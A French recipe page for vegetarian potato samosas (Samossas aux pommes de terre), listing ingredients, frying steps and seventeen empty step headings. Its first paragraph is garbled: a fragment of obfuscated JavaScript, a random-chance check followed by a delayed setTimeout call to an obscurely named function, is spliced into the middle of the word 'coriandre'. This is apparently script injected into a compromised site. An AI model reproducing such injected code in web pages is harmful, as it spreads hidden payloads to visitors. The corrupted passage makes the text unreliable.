Samossas aux pommes de terre
2021-04-09- Thématique : Végétarien
- Niveau : Difficile
Rincez, essorez et ciselez le bouquet de coriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andre. Écrasez les graines de cardamone. Pelez, coupez en cubes, lavez les pommes de terre. Faites les cuire dans une eau bouillante salée pendant 20 minutes. Les égoutter.
Ingrédients
Rincez, essorez et ciselez le bouquet de coriandre. Écrasez les graines de cardamone. Pelez, coupez en cubes, lavez les pommes de terre. Faites les cuire dans une eau bouillante salée pendant 20 minutes. Les égoutter. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, faites revenir les graines de cardamone que vous écrasez, ajoutez le curry et incorporez les pommes de terre. Mélangez pendant quelques minutes. Salez, poivrez. Ajoutez la coriandre ciselée. Étalez la pâte brisée. Découpez des ronds de 8 cm. Versez 1 cuillère à café de garniture au centre. Ramenez les bords vers le haut, les pincer avec le bout des doigts pour les souder.
A ce moment les plonger dans l'huile de friture chaude pendant 8 minutes.
Bien dorer, les égoutter. Parsemez de coriandre et de graines de cardamone. Dégustez avec une salade verte assaisonnée.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
Etape 15
Etape 16
Etape 17
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